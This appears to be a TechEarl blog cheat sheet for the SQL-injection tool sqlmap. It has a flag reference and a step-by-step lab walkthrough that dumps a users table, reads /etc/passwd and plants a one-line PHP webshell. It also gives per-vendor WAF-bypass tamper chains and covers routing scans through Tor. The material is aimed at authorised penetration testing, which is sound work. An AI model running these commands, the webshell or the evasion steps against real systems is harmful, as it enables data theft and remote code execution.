TechEarl

sqlmap Cheat Sheet: Every Flag I Actually Use

A field-tested sqlmap reference by task (targeting, fingerprinting, enumeration, dumping, file access, OS shell, evasion, tamper scripts), plus an end-to-end walkthrough against a vulnerable lab app, WAF bypass tactics, and how to route sqlmap through Tor and proxychains without leaking.

Ishan Karunaratne⏱️ 20 min readUpdated
Share thisCopied
Practical sqlmap reference by task (targeting, enumeration, dumping, OS shell), plus an end-to-end lab walkthrough, WAF bypass, and Tor routing.

sqlmap is an open-source command-line tool that automates the detection and exploitation of SQL injection, from fingerprinting the database to dumping data, reading files, and dropping an OS shell. This cheat sheet groups the flags I actually reach for by task: target specification, request shaping, detection tuning, DBMS fingerprinting, enumeration, dumping, file system access, OS command execution, evasion, and tamper scripts.

Quick reference

sqlmap Command Reference

Every flag organised by task. Copy and adapt.

Target specification

-u 'https://target.example/product?id=1'Single URL with query string. Test every parameter unless --param-filter or -p restricts.
-r request.txtUse a saved HTTP request file. Captured from DevTools or any intercepting proxy. Preserves headers, cookies, method, body.
--har=traffic.harRead requests from a HAR file exported by Chrome/Firefox DevTools. sqlmap prompts which request to test.
-l burp.xmlParse Burp/WebScarab XML log and test every request in it.
-m urls.txtMultiple URLs from a file, one per line.
-g 'inurl:product.php?id='Google dork to find targets. Use carefully (rate limits, legality).
--data='username=foo&password=bar'POST body. Forces method=POST. Use * to mark explicit injection points.
-p id,nameTest only these parameters. Cuts noise on multi-param endpoints.
--skip=token,csrfSkip parameters likely to be tokens or anti-CSRF noise.

Request shaping

--cookie='session=abc; PHPSESSID=xyz'Send cookies. Required for any authenticated endpoint.
--cookie-del=';'Cookie delimiter override. Default is ';'.
--headers='X-Forwarded-For: 127.0.0.1\nX-API-Key: foo'Add custom headers (\n separator). Useful for header-based injection points.
-H 'Authorization: Bearer eyJ...'Single header (repeatable). Cleaner than --headers for one or two values.
--user-agent='Mozilla/5.0 ...'Override default sqlmap UA (which is fingerprinted by most WAFs).
--random-agentPick a random UA from textual/user-agents.txt per session.
--referer='https://target.example/'Set Referer. Some apps validate it.
--auth-type=Basic --auth-cred='user:pass'HTTP Basic/Digest/NTLM auth.
--proxy='http://127.0.0.1:8080'Route through a proxy. Burp's default port for traffic inspection.
--method=PUT --data='{...}'Custom HTTP method (REST APIs).

Detection tuning

--level=5How thorough the test is. 1 (default) to 5. Higher levels test more injection points (headers, cookies). 3+ tests every header.
--risk=3How destructive the payloads are. 1 (default, safe) to 3 (UPDATE/OR-based, can change rows). Use 3 only on lab targets.
--technique=BEUSTQRestrict techniques. B=Boolean, E=Error, U=Union, S=Stacked, T=Time, Q=Inline. Default tests all.
--time-sec=10Sleep duration for time-based payloads. Increase on noisy networks.
--union-cols=10Force a column count for union-based tests. Skip the auto-detect phase if you already know it.
--dbms=mysqlSkip DBMS fingerprinting. Faster and avoids false-positives if you already know the backend.
--os=linuxHint OS for file-system/OS-command payloads.
--prefix="'" --suffix="-- -"Override default payload boundary. Useful in awkward injection contexts.
--string='Welcome back'True-condition match. Tells boolean-blind what to look for in the page.
--not-string='Invalid'False-condition match (inverse of above).
--code=200True-condition HTTP status code.

DBMS fingerprinting and info

--bannerDBMS version banner.
--current-userCurrently connected DB user.
--current-dbCurrently selected database.
--hostnameDB server hostname.
--is-dbaIs current user a DBA? Determines whether OS/file payloads are realistic.
--privileges -U usernameList privileges of a specific user (or current user if -U not set).
--rolesRoles of the current user.

Enumeration

--dbsList all databases.
--tables -D dbnameList tables in a database.
--columns -D dbname -T tablenameList columns in a table.
--schemaFull schema (all DBs, all tables, all columns). Heavy.
--count -D dbname -T tablenameRow count without dumping.
--search -T usersFind tables matching a name across all DBs.
--search -C password,passwd,pwdFind columns matching common credential names.

Dumping data

--dump -D dbname -T tablenameDump all rows of a table.
--dump -D dbname -T users -C username,passwordDump specific columns only. Less noise, less data.
--dump-all --exclude-sysdbsDump everything except system databases.
--start=1 --stop=100Row range. Pagination when the table is huge.
--where="username='admin'"WHERE clause filter. Target a specific row.
--sql-query='SELECT version()'Run arbitrary SQL. Sometimes faster than the enumeration flags for one-off queries.
--sql-shellInteractive SQL prompt against the injected query.

File system access

--file-read=/etc/passwdRead a file from the DB server. Requires FILE privilege on MySQL, equivalent elsewhere.
--file-write=local.php --file-dest=/var/www/html/shell.phpWrite a local file to the DB server's filesystem. Webroot writes lead to webshells.
--search-file=*.confLocate files on the DB server matching a pattern (some backends only).

OS command execution

--os-cmd='whoami'Run a single OS command on the DB server. Needs DBA and a usable mechanism (xp_cmdshell, UDFs, etc.).
--os-shellInteractive OS shell.
--os-pwnAttempt to get Meterpreter via UDF/stored proc trickery. Lab use.

Session, speed, and output

--batchNon-interactive, take all defaults. Required for CI/scripted use.
--threads=10Concurrency. Higher = faster but noisier. Default 1.
-v 3Verbosity 0-6. 3 shows injected payloads; 5 shows raw HTTP.
--flush-sessionDiscard cached state for this target. Start fresh.
--fresh-queriesRe-run cached query results.
-oTurn on all optimisations (--keep-alive, --null-connection, --threads=3).
--output-dir=./outWhere to save the session, log, and dumps. Default ~/.local/share/sqlmap.
--dump-format=CSVOutput format: CSV, HTML, or SQLITE.

Anonymity

--torRoute through Tor. Requires a local SOCKS proxy (default 127.0.0.1:9050).
--tor-port=9050Override Tor SOCKS port.
--tor-type=SOCKS5SOCKS4, SOCKS5, or HTTP.
--check-torVerify Tor is actually being used before testing. Use this. DNS leaks are silent otherwise.
--delay=2Seconds between requests. Slow down to look human and avoid rate limits.
--timeout=30Request timeout.
--retries=3Retries on timeout/connection error.

Evasion and tamper

--tamper=between,randomcase,space2commentApply tamper scripts to obfuscate payloads. Chainable comma-separated list.
--skip-wafSkip the heuristic WAF detection step. Faster on known-WAF targets.
--hppHTTP parameter pollution. Splits payload across duplicate parameters.
--chunkedSend POST body via Transfer-Encoding: chunked. Some WAFs do not reassemble correctly.
--null-connectionUse HEAD requests for true/false detection. Faster, sometimes evades content-based WAFs.

Useful tamper scripts (use with --tamper)

betweenReplaces > with NOT BETWEEN 0 AND #. Bypasses filters blocking > and =.
space2commentReplaces spaces with /**/. Bypasses naive space-blocking WAFs.
space2plusReplaces spaces with +. URL-encoded space alternative.
randomcaseRandom case for keywords: UnIoN sElEcT. Bypasses case-sensitive blacklists.
charencodeURL-encode payload characters.
charunicodeencodeUnicode-encode keywords.
apostrophenullencodeReplaces ' with %00%27. Some WAFs miss the null byte.
equaltolikeReplaces = with LIKE. Bypasses = blacklists.
ifnull2ifisnullMySQL-specific: IFNULL → IF(ISNULL()).
modsecurityversionedWraps payload in MySQL versioned comments /*!50000UNION*/. Old ModSec bypass.
halfversionedmorekeywordsAdds versioned comments before each keyword. MySQL only.

sqlmap ships with hundreds of flags. I use maybe forty of them regularly. This is the field reference for the ones that matter, grouped by the task I am trying to accomplish, with a short note on when each one is worth reaching for.

If you are new to sqlmap, the end-to-end walkthrough against a vulnerable lab app further down this page is the right next stop, and the WAF bypass and Tor routing sections cover the opsec side. If you are comparing tools, the best SQL injection tools list for 2026 covers the alternatives. For the underlying mechanics, the SQL injection deep dive has the full taxonomy.

What req.txt looks like (and how to grab it from your browser)

req.txt is a raw HTTP request file: method line, headers, blank line, body. Most of my commands use -r req.txt because it carries the entire request shape (method, headers, cookies, body) without re-typing. Here is what it actually looks like:

code
GET /product?id=1 HTTP/1.1
Host: target.example
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9
Accept-Language: en-US,en;q=0.9
Cookie: session=eyJhbGciOiJIUzI1NiJ9...; PHPSESSID=q9k2...
Connection: close

POST requests look the same with the method and body added:

code
POST /login HTTP/1.1
Host: target.example
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Cookie: PHPSESSID=q9k2...
Connection: close

username=admin&password=test

No special markers, no per-parameter annotations. sqlmap tests every parameter it finds in the request unless you restrict with -p. Mark a specific injection point with * only if you want to force sqlmap there.

Capturing it from Chrome or Firefox

You do not need Burp Suite for this. The DevTools built into Chrome and Firefox can produce everything sqlmap needs. Two paths, easiest first:

Easiest: save a HAR and skip writing req.txt by hand.

  1. Open DevTools: F12 on Windows/Linux, Cmd+Option+I on macOS.
  2. Open the Network tab. Enable Preserve log so a navigation does not wipe the captured requests.
  3. Trigger the target request in the page (click the link, submit the form, hit the API).
  4. Right-click any captured request in the list. In Chrome pick Save all as HAR with content. In Firefox pick Save All As HAR. Save as traffic.har.
  5. Point sqlmap at the HAR directly with --har instead of -r:
bash
sqlmap --har=traffic.har --batch

sqlmap lists every request it found in the HAR and asks which one to test. Pick the one carrying the parameter you want to probe. From then on the workflow is identical to the req.txt examples below, just swap -r req.txt for --har=traffic.har.

If you prefer an actual req.txt (worth the extra step when you want to hand-edit headers or insert a * injection-point marker):

  1. Same DevTools / Network tab setup.
  2. Click the request you want to capture. In Chrome open the Headers tab inside that request's panel; in Firefox the Headers tab is the default.
  3. Copy the request method line and every request header into a text file. The browsers display them in the right order already.
  4. Add a blank line, then the request body (if any). For POST forms that is the URL-encoded body. For JSON APIs it is the raw JSON.
  5. Save as req.txt. Use with -r req.txt in every example below.

If you want a shortcut for the manual path: right-click the request → Copy → Copy as cURL (both browsers support this). The cURL command contains the URL, every header, and the body. You can either run that through a converter (curlconverter --language http <command> from npm, or any online cURL-to-HTTP tool) or just read it and assemble req.txt by hand: cURL's -H "Foo: bar" flags become header lines verbatim, --data 'x=y' becomes the body, and the URL gives you the method line.

Workflow templates

A few command lines I use as starting points and adapt from. The first batch uses the captured request file from the section above. The simpler ones below take a -u URL directly when you just need a quick probe.

Edit the values once and every example updates. The User-Agent dropdown defaults to --random-agent because the literal sqlmap default UA is signatured by every commercial WAF.

Try it with your own values

Tune the common flags once. Every command below reads from this. Out-of-range values get a red border. The Googlebot UA usually gets you hard-blocked faster than the default; pick it only when you know the target trusts crawlers.

Simplest possible probe, just a URL with a query string. Good for a first sanity check before you bother capturing a request:

bash
sqlmap -u ':target_url' --batch :ua --level=:level --risk=:risk

POST request with form data, no req.txt needed. Forces --method=POST because --data is set:

bash
sqlmap -u 'https://target.example/login' \
     --data='username=admin&password=test' \
     --batch :ua --level=:level --risk=:risk

POST with a JSON body (REST APIs). Mark the explicit injection point with * if more than one field is parsable:

bash
sqlmap -u 'https://api.target.example/v1/users/search' \
     --method=POST \
     --headers='Content-Type: application/json' \
     --data='{"q":"foo*","limit":10}' \
     --batch :ua --level=:level --risk=:risk

First pass against a captured request, light touch, defaults, see if anything is obvious:

bash
sqlmap -r req.txt --batch :ua --level=:level --risk=:risk

Authenticated app, scoped to specific parameters (cookies come from req.txt):

bash
sqlmap -r req.txt --batch -p user_id,product_id :ua \
     --level=:level --risk=:risk --threads=:threads

Behind a WAF, slow and quiet (tamper chain layered on top):

bash
sqlmap -r req.txt --batch :ua --delay=:delay --threads=:threads \
     --tamper=between,randomcase,space2comment --time-sec=10

Through Tor, paranoid mode (covered in detail in Route sqlmap through Tor and proxychains below):

bash
sqlmap -r req.txt --batch --tor --tor-type=SOCKS5 --check-tor \
     :ua --delay=:delay --threads=:threads --timeout=60

Need the exit IP to land in (or avoid) a specific country, for example when the target geo-filters? See the Tor country code list and exit-node pinning.

Once injection is confirmed, the typical enumeration sequence. These take database and table names that vary per target, so they stay non-interactive:

bash
sqlmap -r req.txt --batch --dbms=mysql --current-db
sqlmap -r req.txt --batch --dbms=mysql --tables -D target_db
sqlmap -r req.txt --batch --dbms=mysql --columns -D target_db -T users
sqlmap -r req.txt --batch --dbms=mysql --dump -D target_db -T users -C username,password

--batch keeps it scriptable. --dbms=mysql skips the fingerprint step once you know the answer.

Walkthrough against a vulnerable lab app

The flags make the most sense once you have run the whole chain once. This is a complete walkthrough against a deliberately vulnerable lab target, from a fresh state (no captured request, nothing in ~/.local/share/sqlmap) to a dumped user table, a file read off the server's disk, and a webshell. The variants themselves are in the SQL injection deep dive.

A note on the output you will see. Every example below was produced against techearl-labs/sql-injection/sqli-basic. The schema, users, table layout, and exploit behaviour are deterministic and will match what you get locally. A few outputs are environment-dependent and differ in minor ways: the MySQL minor version in the banner (depends on which mysql:8.0 image tag Docker pulled), the exact count of HTTP requests sqlmap reports, sqlmap's own session-cache file paths, and any timestamps. Those are illustrative; the structure underneath is what to follow.

The lab target

Pull and run the lab:

bash
git clone https://github.com/ishankaru/techearl-labs.git
cd techearl-labs
docker compose up sqli-basic

The target listens on http://localhost:8080. It exposes a deliberately vulnerable product catalogue and login endpoint:

EndpointMethodVulnerable parameter
/product?id=1GETid (numeric, concatenated)
/search.php?q=fooGETq (string, concatenated into LIKE)
/login.phpPOSTusername, password (both concatenated)

The MySQL backend runs as a user with FILE privilege and limited but real OS privilege (intentional for the lab).

Step 1: capture a baseline request

Capture req.txt the way the req.txt section above describes (DevTools HAR, hand-written, or a Burp "Copy to file"), pointed at http://localhost:8080/product?id=1. You can also pass the URL directly with -u; I rarely do, because the request file carries headers, cookies, body, and method without retyping.

Step 2: confirm injection exists (a manual sanity check)

Before running sqlmap, do one manual probe. It saves time when sqlmap is silent by telling you something is wrong somewhere else:

bash
curl -s "http://localhost:8080/product?id=1" | grep -o '<title>.*</title>'
curl -s "http://localhost:8080/product?id=1'" | grep -oE '(<title>[^<]+|DB error[^<]*)'
curl -s "http://localhost:8080/product?id=1%20OR%201=1--%20-" | grep -oE '<h2>[^<]+</h2>'

Note the %20 encoding for spaces. Modern curl refuses to send a URL with literal whitespace; the encoded form works everywhere. If the second response surfaces a "DB error: ..." line, the parameter is in a string context and MySQL is reporting the syntax error back, which means error-based extraction is on the table. If the third response shows multiple <h2> product names instead of one, you have boolean-style injection. Both confirm sqlmap will succeed.

Step 3: first sqlmap pass

bash
sqlmap -r req.txt --batch

--batch accepts every prompt. If your sqlmap build does not parse the request file correctly, the equivalent direct form works without one:

bash
sqlmap -u 'http://localhost:8080/product?id=1' --batch --flush-session

Either form produces the same scan. Output (abbreviated):

code
[INFO] testing connection to the target URL
[INFO] testing if the target URL content is stable
[INFO] target URL content is stable
[INFO] testing if GET parameter 'id' is dynamic
[INFO] GET parameter 'id' appears to be dynamic
[INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable
[INFO] testing for SQL injection on GET parameter 'id'
[INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[INFO] GET parameter 'id' appears to be 'AND boolean-based blind' injectable
[INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based ... (FLOOR)' injectable
[INFO] testing 'MySQL inline queries'
[INFO] testing 'MySQL > 5.0.11 stacked queries (comment)'
[INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[INFO] target URL appears to be UNION injectable with 3 columns
[INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable

GET parameter 'id' is vulnerable. Do you want to keep testing the others? [y/N] N
sqlmap identified the following injection point(s) with a total of 47 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Type: error-based
    Type: time-based blind
    Type: UNION query
---
[INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0

Forty-seven requests, four detection types, fingerprint confirmed: MySQL.

Step 4: fingerprint and basic info

bash
sqlmap -r req.txt --batch --dbms=mysql --banner --current-user --current-db --is-dba

--dbms=mysql skips re-fingerprinting (we already know). Output:

code
banner: '8.0.46'
current user: 'webapp@%'
current database: 'shop'
current user is DBA: False

So we have MySQL 8.0.x, the connected user is webapp@% (Docker compose connects the PHP container to MySQL over a Docker network rather than a Unix socket, so the user host shows as %), the active database is shop, and we are not DBA. No DBA means an OS shell via xp_cmdshell-equivalent paths is unlikely, but file read via LOAD_FILE may still work if the FILE privilege is granted.

Step 5: enumerate databases, tables, columns

bash
sqlmap -r req.txt --batch --dbms=mysql --dbs
code
available databases [3]:
[*] information_schema
[*] performance_schema
[*] shop

List tables in shop, then columns of users:

bash
sqlmap -r req.txt --batch --dbms=mysql -D shop --tables
sqlmap -r req.txt --batch --dbms=mysql -D shop -T users --columns
code
Database: shop
[6 tables]
+-------------+
| audit_log   |
| page_views  |
| products    |
| sessions    |
| tracking    |
| users       |
+-------------+

Database: shop
Table: users
[5 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| id       | int         |
| username | varchar(50) |
| password | varchar(60) |
| email    | varchar(100)|
| is_admin | tinyint(1)  |
+----------+-------------+

password is varchar(60), the right size for a bcrypt hash. tracking and page_views are the analytics tables the lab exposes for the header-injection step below.

Step 6: dump the users table

bash
sqlmap -r req.txt --batch --dbms=mysql -D shop -T users --dump
code
Database: shop
Table: users
[3 entries]
+----+----------+--------------------------------------------------------------+----------------------+----------+
| id | username | password                                                     | email                | is_admin |
+----+----------+--------------------------------------------------------------+----------------------+----------+
| 1  | admin    | $2y$12$j6rGxbj7LnLf8UHljNgHpOO03hUVFsPJMUxbj8BYJoMaL7fWJcaaG | admin@example.test   | 1        |
| 2  | alice    | $2y$12$uu0JghvSOWGdxEVdPskHf.UoafrNqhXETtXnjYW0DjhbcQco9AuOq | alice@example.test   | 0        |
| 3  | bob      | $2y$12$HiaXHUazCuT/GANo63wNdumo/gtQaT.LxV7R54GTAapaUEyyWeiRq | bob@example.test     | 0        |
+----+----------+--------------------------------------------------------------+----------------------+----------+

Three users, all bcrypt-hashed. sqlmap notices the hash format and offers to crack via its bundled dictionary ([Y/n/q]); crack offline with hashcat or john if you want, outside the scope here.

Step 7: file read

We are not DBA but the FILE privilege is set in the lab:

bash
sqlmap -r req.txt --batch --dbms=mysql --file-read=/etc/passwd
code
[INFO] the local file /tmp/sqlmaprgrwk0/sqlmaprcvsj is larger than zero. Saved to:
[INFO] /root/.local/share/sqlmap/output/localhost/files/_etc_passwd

In a real engagement this is where I grep for application config paths: /var/www/html/wp-config.php, /etc/mysql/my.cnf, application-specific env files.

Step 8: file write (the path to a webshell)

The lab DB user has FILE privilege and the webserver has a writable webroot. Write a minimal PHP webshell:

bash
echo '<?php system($_GET["c"]); ?>' > shell.php

sqlmap -r req.txt --batch --dbms=mysql \
       --file-write=shell.php \
       --file-dest=/var/www/html/shell.php

Then:

bash
curl "http://localhost:8080/shell.php?c=id"
code
uid=33(www-data) gid=33(www-data) groups=33(www-data),999(mysqlshare)

Command execution as www-data, via a file written by the database: the classic "FILE privilege plus webroot-writable" chain. In a real report this is the moment to stop, document, and let the client decide on impact testing.

Step 9: SQL shell (interactive)

When you want to poke directly at the database without sqlmap's enumeration grammar in the way:

bash
sqlmap -r req.txt --batch --dbms=mysql --sql-shell
code
sql-shell> SELECT @@version, CURRENT_USER(), DATABASE()
[INFO] fetching SQL SELECT statement query output: 'SELECT @@version, CURRENT_USER(), DATABASE()'
@@version: '8.0.46'
CURRENT_USER(): 'webapp@%'
DATABASE(): 'shop'

Use CURRENT_USER() rather than USER(): USER() returns the auth identity as connected (the actual peer host or IP, e.g. webapp@172.27.0.3 in the Docker setup), while CURRENT_USER() returns the GRANT pattern that matched, the friendly webapp@%. --sql-query='...' is the single-shot equivalent for scripting.

Step 10: OS shell (when DBA)

If the connected user had been DBA, an OS shell is one flag away:

bash
sqlmap -r req.txt --batch --dbms=mysql --os-shell

On MSSQL with xp_cmdshell enabled this works trivially. On MySQL, sqlmap needs to write a UDF to disk and load it, which requires write access to a directory MySQL can dlopen from. The lab user is not DBA, so this path fails; in practice, file write to the webroot (Step 8) gets you OS execution more reliably than --os-shell ever does.

Step 11: session and re-runs

sqlmap caches everything (target identification, detected injection types, fingerprint, fetched data) in ~/.local/share/sqlmap/output/<host>/, and subsequent runs reuse it by default. To force re-detection use --flush-session; to re-run queries but keep the detection cache use --fresh-queries. That is the difference between "we found injection, now I am exploring" and "the target changed, start over".

Step 12: header-based injection (the analytics endpoint)

Every step so far targeted the id query-string parameter. The lab also exposes an analytics endpoint that logs the request's User-Agent into page_views with concatenated SQL, the textbook header-based SQLi pattern:

bash
sqlmap -u "http://localhost:8080/track?page=home" \
       --level=3 --batch --random-agent

--level=3 is the key. Default --level=1 does not test the User-Agent. To target it explicitly with the * marker, or to test a custom header the lab also reads:

bash
sqlmap -u "http://localhost:8080/track?page=home" \
       --user-agent="Mozilla/5.0 *" --batch

sqlmap -u "http://localhost:8080/track?page=home" \
       --headers="X-Tenant-Id: 1*" --batch

The mechanics from here are identical to Steps 4 to 6. Analytics middleware is the single most common place I find SQL injection in real codebases, and default sqlmap settings miss it every time. Per-vector detail lives in the HTTP request vector map.

Evade WAFs and anti-detection

Most production targets sit behind a WAF (Cloudflare, AWS WAF, Akamai, Imperva, Fastly, or self-hosted ModSecurity), and default sqlmap against any of them gets identified inside the first few requests. sqlmap evades a WAF on three fronts: tamper scripts that obfuscate the payload past the signature engine (the flag reference is in Quick reference above), request shaping that defeats behavioural detection, and TLS-fingerprint laundering so the connection does not scream "Python". When all three fail, you drop to manual exploitation in Burp Repeater.

What WAFs actually catch

Modern WAFs combine three detection layers, and evasion has to address all three:

  1. Signature matching. Regex and lexer rules looking for SQL keywords, comment markers, payload patterns. The OWASP CRS (Core Rule Set) is the open reference; commercial engines layer their own on top.
  2. Reputation and fingerprint. User-Agent, TLS fingerprint (JA3/JA4), HTTP/2 frame ordering, request timing. A client that "looks like sqlmap" gets flagged before the payload is inspected.
  3. Behavioural and ML. Request rate, parameter-value entropy, response-size variance. A clever tamper script that defeats signatures is useless if your TLS fingerprint screams "Python requests library" on connection.

Identify the WAF first

bash
wafw00f https://target.example/

Older guides show a --identify-waf flag; current sqlmap lists it as deprecated because its heuristic WAF check now runs automatically at the start of a scan (--skip-waf turns it off). wafw00f is the standalone identification tool. Knowing the WAF tells you which tamper scripts to try first.

Tamper chains that still pull weight

sqlmap ships with around fifty tamper scripts; most were written against specific WAF versions and have aged unevenly. Starting chains, matched to the identified WAF (heuristic, varies by ruleset version, cycle through two or three before concluding a target is unreachable):

bash
# Cloudflare
--tamper=between,randomcase,space2comment

# AWS WAF managed rules
--tamper=charunicodeencode,space2randomblank,randomcase

# ModSecurity with CRS 3.x (common in self-hosted)
--tamper=modsecurityversioned,space2comment,randomcase

Scripts I would not bother with anymore: appendnullbyte (most modern stacks handle null bytes safely), versioned-comment scripts outside MySQL (other DBMS do not parse versioned comments at all), and multiplespaces (almost no current WAF cares).

Request shaping

Tamper scripts change the payload; request shaping changes the envelope around it.

  • Pacing: --delay=5 --threads=1 --timeout=30 --retries=3. A steady five-second cadence reads as human-paced. You forget about scan time and buy detection-rate reduction.
  • Realistic headers: --random-agent plus padded -H values (Accept-Language, Accept-Encoding: gzip, deflate, br, Cache-Control, Upgrade-Insecure-Requests). Default sqlmap headers are sparse; real browsers send a dozen.
  • HTTP parameter pollution: --hpp splits payloads across duplicate parameters (?id=1&id=UNION&id=SELECT...). Servers reassemble these differently (PHP takes the last, Java's getParameter the first, ASP.NET concatenates with commas); a WAF that reassembles differently from the application misses the payload.
  • Chunked encoding: --chunked splits POST bodies via Transfer-Encoding: chunked. Less effective than it used to be (mature WAFs reassemble now) but worth trying against an older-identified WAF.
  • HEAD-based detection: --null-connection uses HEAD requests for boolean detection; the WAF often inspects fewer headers on HEAD, and content-length differences alone signal true/false.

TLS and HTTP fingerprint reduction

This is where sqlmap's defaults betray you. sqlmap makes its requests through Python's standard-library HTTP stack (urllib), not a browser engine, so the TLS handshake carries Python's OpenSSL fingerprint, which no real browser produces and a fingerprinting WAF can flag on sight. No tamper script fixes it. The realistic options:

  1. Burp Suite as the relay. Run sqlmap through Burp (--proxy=http://127.0.0.1:8080). Burp's TLS stack is browser-like enough to pass most fingerprint checks. You lose some speed and gain fingerprint legitimacy.
  2. curl-impersonate (patched TLS/HTTP-2 stacks matching real browsers) is the cleaner idea but awkward to bolt onto sqlmap, since sqlmap does not use it natively.
  3. Drop to manual. If TLS fingerprinting is an aggressive primary block (identical 403/challenge regardless of payload), the productivity gain of sqlmap is gone. Confirm injection with three hand-crafted payloads in Burp Repeater (one boolean, one error-trigger, one time-based), then build a manual extraction loop with Burp Intruder or a small Python script, reading one character at a time. This is maybe 10% of my SQLi work; the other 90% is sqlmap with the right tamper chain.

Order of operations, and the defender's view

When sqlmap defaults get blocked, the order I try: --random-agent and realistic headers, then --delay=3 --threads=1, then a tamper chain matched to the WAF, then --hpp and --chunked, then route through Burp to launder the TLS fingerprint, then drop to manual. If routing through Burp still fails, the target is hardened enough that scanning without an allow-list is a bad use of time: get the IP whitelisted and scan from a known source.

From the other side, the highest-value detection rule is not at the WAF: it is application logs showing information_schema access from an account that should not need it. It is cheap to write, near-zero false positive, and harder to bypass than any network-layer signature. Backstop it with per-source counters on encoded-looking payloads and TLS fingerprints that do not match a known browser. Treat any commercial WAF as a speed bump, not a wall.

Route sqlmap through Tor and proxychains

There are three real reasons to route sqlmap through Tor: the contract requires source-IP rotation, you are testing your own infrastructure from an unfamiliar network and do not want to whitelist a residential IP, or you must test from a different geography to validate region-based controls. There is one reason people think they need it but do not: anonymity does not change the authorisation question. If you do not have permission to test, do not test. Three things commonly break the anonymity assumption, so this section solves each explicitly: DNS leaks (resolving hostnames locally then proxying the IP), exit-node reuse (aggressive scans get the current exit IP blacklisted in minutes), and mixing routings that fight each other.

Method 1: sqlmap's native --tor flag

The cleanest path for sqlmap specifically. It needs a working local Tor daemon:

bash
sudo apt install tor
sudo systemctl start tor
sudo systemctl enable tor
ss -ltnp | grep 9050

Tor listens on 127.0.0.1:9050 (SOCKS5) by default. Run sqlmap through it:

bash
sqlmap -r req.txt --batch \
       --tor --tor-type=SOCKS5 --tor-port=9050 --check-tor \
       --random-agent --delay=3 --threads=1 --timeout=60

The flags that matter:

  • --tor-type=SOCKS5 is critical: SOCKS5 supports remote DNS resolution, SOCKS4 leaks DNS to your local resolver. Set it explicitly even though recent sqlmap defaults to SOCKS5.
  • --check-tor is the most important flag here. sqlmap probes a Tor checker before testing and confirms the traffic is actually exiting through Tor. Without it, a misconfigured proxy can route through your real IP and you never know. If it reports your traffic is NOT going through Tor, stop and fix; do not bypass the check.
  • --random-agent, --delay=3, --threads=1, --timeout=60 because Tor exits are signatured, slow, and shared. Parallel requests through a single circuit fail or rebuild mid-scan.

Method 2: proxychains-ng wrapper

When sqlmap's native flag is not flexible enough (chaining multiple proxies, or wrapping a tool with no native proxy support), proxychains-ng (the maintained fork) wraps any binary's TCP connections:

bash
sudo apt install proxychains4

Configure /etc/proxychains4.conf:

code
strict_chain
proxy_dns
remote_dns_subnet 224
tcp_read_time_out 15000
tcp_connect_time_out 8000

[ProxyList]
socks5 127.0.0.1 9050

The critical lines: strict_chain refuses to silently fall through if a proxy is unreachable; proxy_dns resolves hostnames remotely through the chain (this is the DNS-leak fix); socks5 not socks4. Run sqlmap under it:

bash
proxychains4 -q sqlmap -r req.txt --batch \
       --random-agent --delay=3 --threads=1 --timeout=60

Do not also pass --tor to sqlmap under proxychains. The two routings fight and you get a broken connection or a circuit-of-circuits that leaks unpredictably.

Verify before you test

Verification has caught misconfiguration in something like a third of the times I have set this up on a new machine. Run a curl probe through the same routing sqlmap will use:

bash
# Through Tor's SOCKS proxy directly:
curl --socks5-hostname 127.0.0.1:9050 https://check.torproject.org/api/ip

# Through proxychains, including a DNS cross-check:
proxychains4 -q curl https://api.ipify.org
proxychains4 -q curl https://dnsleaktest.com/

For Tor, expect JSON with "IsTor": true and an IP that is not yours. For proxychains, the DNS resolvers reported should be Tor-related or your proxy provider's, not your ISP's; if they are your ISP's, proxy_dns is not effective. If verification fails, stop and fix.

Rate-limit reality and exit rotation

Tor exits are slow and shared. A scan that takes ten minutes from home can take an hour through Tor. Use --threads=1, --delay=3 to --delay=10, and --timeout=60 to --timeout=120. Boolean-blind extractions are especially painful: a four-thousand-byte dump by binary search is sixteen thousand requests, each delayed and three-hopped. If sqlmap reports many timeouts, the circuit has aged out or the exit is blacklisted; force a new one, then restart with --fresh-queries:

bash
# With Tor's control port enabled in /etc/tor/torrc:
echo -e 'AUTHENTICATE\nSIGNAL NEWNYM\nQUIT' | nc 127.0.0.1 9051

If you need the exit to land in (or avoid) a specific country, see the Tor country code list and exit-node pinning.

When not to use Tor with sqlmap

Tor is the wrong tool when the target hard-blocks Tor exits (you get uniform 403s and misread a hardened target for an unreachable one), when your engagement has a source-IP allow-list (Tor defeats your own whitelist), for out-of-band exploitation (the target's DB cannot call back to a Tor exit), or when the scope says "test from this IP" (Tor breaks the audit trail). If you do chain a VPN, VPN-then-Tor is the usual correct order (your ISP sees only VPN traffic, the entry guard sees the VPN exit); Tor-then-VPN reintroduces the VPN provider as a single point of identifiability and is usually wrong. Use Tor when the threat model includes anonymity from the target itself; otherwise scan from a known, agreed source.

Flags I almost never use

For completeness, a short list of flags that exist but rarely earn their keep in real engagements:

  • --predict-output, slows things down without changing results in most cases.
  • --crawl=N, sqlmap's own crawler is weak. Use a real crawler (ffuf, hakrawler, gospider) then feed the URLs in.
  • --check-internet, adds round trips. If your connection is broken, you will know.

A note on responsible use

Every flag above is dual use. The same --dump that exfiltrates a production user table is the one I run against my own lab targets fifty times a week. Use these against systems you own or are explicitly authorised to test. See the authorisation block at the top of this page and the legal-framing notes in the SQL injection deep dive.

Level controls how many injection points and how many payload variants are tested. Risk controls how dangerous the payloads themselves are. Level 5 with risk 1 tests cookies, headers, and user-agent with safe payloads. Level 1 with risk 3 tests only the obvious parameters but uses payloads that may write or update data. Default is level 1 risk 1, which is intentionally cautious.

